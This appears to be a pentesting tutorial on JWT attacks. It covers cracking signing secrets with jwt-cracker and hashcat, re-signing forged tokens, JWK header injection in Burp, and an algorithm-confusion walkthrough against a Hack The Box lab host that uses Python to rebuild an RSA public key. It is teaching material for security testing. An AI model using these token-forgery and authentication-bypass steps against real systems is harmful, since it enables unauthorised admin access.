Pentesting JWT (JSON Web Tokens)

Basic JWT Information Using JWT_TOOL

python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzQ1MzAiLCJpYXQiOjE3Mjk4ODYxNTR9.cCgbU50zeYpH0cUZ9ioFe9eaHqmXp6b2ffkpTJ5-zAg

Cracking JWT-Tokens

JWT-Cracker to Crack JWT Token

jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzQ1MzAiLCJpYXQiOjE3Mjk4ODYxNTR9.cCgbU50zeYpH0cUZ9ioFe9eaHqmXp6b2ffkpTJ5-zAg -d /usr/share/wordlists/rockyou.txt

Hashcat to Crack JWT Tokens

we can use Hashcat on windows and Linux both to crack JWT Token, We just need to provide the hash file and the Wordlist

For Windows

you need to go into Hashcat folder to run this.

hashcat.exe C:\Users\username\Desktop\hash-file.txt C:\Users\username\Desktop\Shared\Wordlists\rockyou.txt

For Linux

hashcat <hashfile> <Path to Wordlist>

JWT Auth Bypass via weak Signing key

If we are successfully able to crack the secret of the JWT Token then we can modify and sign the JWT token again and craft our attack

For this we can use burpsuite extensions like JSON Web Tokens and JWT Editor Both works well for this

If we use Json Web Tokens

If we use JWT EDITOR KEYS

you need to add a new symmetric key and specify the secret and generate the key

then go into the repeater and go into JSON Web Token and click Sign

Click OK and the Send the Request and it will Work.

JWT Auth Bypass using JWK Header Injection

We can also bypass auth by using public and private key concept in JWT Tokens, to do this we can generate a new RSA Key pair, and we can inject the Public key in the Header of the JWT Token, then we can encrypt the JWT Token with Private key so in this case server will always verify the Token and we can sign the token as we want

To Perform this attack, we can use JWT Editor Keys Extension in BurpSuite

  1. Generate a new RSA Key

  1. Go to Repeater Tab and go into JSON Web Tokens and the click on Attack and Click on Embed JWK

  1. Select the RSA key you created

  1. Click OK and the attack is done, now you can Sign the JWT Token. and Perfrom the Attack.

Algorithm Confusion Attacks in JWT Token

When Public key is Available on the Web Server (Utilizing JWKS.JSON file)

We can start testing for Algorithm Confusion attacks by simply changing the algorithm of the jwt token into HS256 from RS256

The question is that we need to find the public key, otherwise, this attack will never work, and we will not be able to sign our JWT token

Looking below at the image we can see that i want to create a webhook and i am having 403 forbidden, so i can try to do an Algorithm Confusion attack to get a 200 OK response.

Current JWT Token does not allow to create a WebHook
We can see the algorithm that is RS256

Now the Problem here is that we need to get the Public key, now we need to find it on the server by doing different directory Bruteforcing tools, I can use here Feroxbuster.

Luckily I was able to find the Jwks.json file by doing directory Bruteforcing

feroxbuster -u http://webhooks-api-beta.cybermonday.htb/ -W 0,57
Found jwks file on the webserver using feroxbuster
Contents of the Jwks.json file which contains the public key

Now I need to convert this into a proper format and then sign the JWT token and I will change the user role to admin and let's see whether I can access the /create/webhook endpoint or not

for this purpose, i will be using Python3

>>> import base64 //import the module
>>> from Crypto.PublicKey import RSA //import the module
>>> int.from_bytes(base64.b64decode("AQAB"),'big') //get in exponent form
>>> e= int.from_bytes(base64.b64decode("AQAB"),'big') // save in e variable

>>> n= int.from_bytes(base64.urlsafe_b64decode("pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w=="),'big') //get in exponent form and save in variable n 

>>> RSA.construct((n,e))
RsaKey(n=21077705076198164110050345996612932810772518568443539050967722091376715840724373912088648727462840166356037836008797866810613752598694921174993091914759002593675145922598909469318911554819111261819241455997350276504601809923734199273292278943649872262588721789631926559440043091439126662856921713786579174831565901935033306650397146382742890508658151492282389201858268597532677527914866223650606412599907677018538379813464063685144477862245532615744296358390508702719361603975980307523385389095548127340792700450704825980888363887958403440479605178094454574416540689804276427673977731782835533403716740628865097430507, e=65537) // make a public key

key =RSA.construct((n,e)) // save the public key in key variable

print(key.exportKey().decode()) // print the public key


I will base64 encode this public key by saving it into a file

 base64 public-key -w 0

now I can use this public key to sign the JWT Token and then and then I can change the account role in https://jwt.io/ and hopefully I will be able to access the webhook page.

Finally, it worked I am not getting 403 error anymore which means I have successfully done an Algorithm Confusion attack.

Successfully completed the algoritm confusion attack

Last updated